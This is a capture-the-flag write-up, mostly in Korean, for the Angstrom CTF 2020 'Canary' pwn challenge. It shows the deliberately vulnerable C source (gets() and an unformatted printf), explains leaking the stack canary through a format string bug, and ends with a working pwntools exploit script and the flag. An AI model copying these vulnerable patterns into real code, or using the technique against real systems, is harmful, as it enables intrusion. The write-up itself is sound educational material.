Search

[PWN]Canary

Year
2020
CTF Name
Angstrom CTF
Category
PWN
Type
Canary

1. Description

A tear rolled down her face like a tractor. “David,” she said tearfully, “I don’t want to be a farmer no more.”
—Anonymous
Can you call the flag function in this program (source)? Try it out on the shell server at /problems/2020/canary or by connecting with nc shell.actf.co 20701.
Author: kmh

2. Write up

# file canary canary: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4c9450f3e2622ff6b7fa8fd33f728edfda901b97, not stripped # checksec --file canary [*] '/mnt/hgfs/CTF/CTF/2020/Angstrom CTF/pwnable/Canary/canary' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
Python
복사
문제 파일은 바이너리와 바이너리의 소스 코드로 이루어져있다. 바이너리 파일을 우선적으로 확인하면 64bit ELF 파일인 것을 확인할 수 있다. 해당 바이너리에는 NX와 Canary가 있는 것을 확인했다.
#define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/types.h> void flag() { system("/bin/cat flag.txt"); } void wake() { puts("Cock-a-doodle-doo! Cock-a-doodle-doo!\n"); puts(" .-\"-."); puts(" / 4 4 \\"); puts(" \\_ v _/"); puts(" // \\\\"); puts(" (( ))"); puts("=======\"\"===\"\"======="); puts(" |||"); puts(" '|'\n"); puts("Ahhhh, what a beautiful morning on the farm!"); puts("And my canary woke me up at 5 AM on the dot!\n"); puts(" _.-^-._ .--."); puts(" .-' _ '-. |__|"); puts(" / |_| \\| |"); puts(" / \\ |"); puts(" /| _____ |\\ |"); puts(" | |==|==| | |"); puts(" | |--|--| | |"); puts(" | |==|==| | |"); puts("^^^^^^^^^^^^^^^^^^^^^^^^\n"); } void greet() { printf("Hi! What's your name? "); char name[20]; gets(name); printf("Nice to meet you, "); printf(strcat(name, "!\n")); printf("Anything else you want to tell me? "); char info[50]; gets(info); } int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); wake(); greet(); }
C
복사
문제 파일을 확인해보면 flag() 함수를 호출시키면 플래그를 확인할 수 있는데 flag() 함수를 호출하는 곳은 없다. 그리고 greet() 함수에서 취약한 함수인 gets() 함수를 2번 사용하고 있다.
해당 문제는 BOF 공격에 취약하지만 Canary가 있어 공격이 성립하지 않는다. Canary는 실행할 때마다 임의로 바뀌지만 프로그램이 한번 실행하면 종료될때 까지는 동일한 값을 갖고 있다. 따라서 프로그램이 종료되지 않는 선에서 Canary 값을 알 수 있다면 우회가 가능하다.
코드를 잘 살펴보면 printf() 함수가 사용자가 입력한 값을 포맷 지정 없이 출력시킨다. 해당 부분은 포맷 지정 없이 출력하기 때문에 포맷 스트링 버그 취약점이 존재한다. 포맷 스트링 버그 취약점을 이용하면 Canary를 우회하고 BOF 공격을 할 수 있다.
따라서 페이로드는 아래와 같이 구성하면 된다.
1.
첫번째 get()와 printf(format)로 Memory Leak 공격을 구성하여 Canary를 읽어온다.
2.
두번째 get() 함수로 BOF 공격을 할 때 Memory에서 읽어온 Canary를 넣어준다.
우선 포맷 스트링 취약점을 이용해서 Canary를 알아내는 방법은 아래와 같다.
1.
버퍼 입력 시 %x나 %p와 같은 포맷을 적당히 입력한다.
2.
%x와 %p를 문자열로 인식하지 않은 printf는 메모리 내에 있는 더미 값을 입력한 포맷에 맞게 출력한다.
3.
공격자가 알아볼 수 있는 임의의 문자와 함께 %x를 입력하고 임의의 문자가 몇개의 포맷을 입력하는지 확인한다.
4.
입력한 문자열 위치가 출력되기 위한 포맷의 개수를 알았기 때문에 이를 이용하여 Canary 값을 알아낸다.
위의 그림에 따르면 입력한 문자열은 %8p를 7번째 입력한 순간 출력된다. 그리고 바이너리가 사용자에게 입력받는 버퍼의 위치는 [rbp-0x60]이고 Canary의 위치는 [rbp-0x8]이다.
Canary 값은 입력한 문자열보다 88byte 뒤에 있고 %8p는 8byte씩 끊어서 출력해주기 때문에 포맷 개수는 11개가 필요하다. 즉, Canary 값을 알아내기 위한 포맷의 개수는 17개가 된다.
따라서 페이로드는 아래와 같이 구성하면 된다.
Payload = [0x20 buffer] + [0x8 SFP] + [flag function address]
사용자가 입력한 데이터를 입력받는 버퍼는 [rbp-0x20]에 위치한 것을 확인할 수 있다.
따라서 페이로드는 아래와 같이 구성하면 된다.
Payload = [Dummy 56byte] + [Canary] + [SFP 8byte] + [flag function address]
from pwn import * r = remote("shell.actf.co",20701) print r.recvuntil("name? ") p = '' p += "%17$p" r.sendline(p) canary = int(r.recvuntil("!\n").split()[4].split("!")[0],16) print hex(canary) p = "a"*(0x40-0x8) p += p64(canary) p += "b"*0x8 p += p64(0x400787) r.sendline(p) print r.recv(1024) r.interactive()
C
복사

3. FLAG

actf{youre_a_canary_killer_>:(}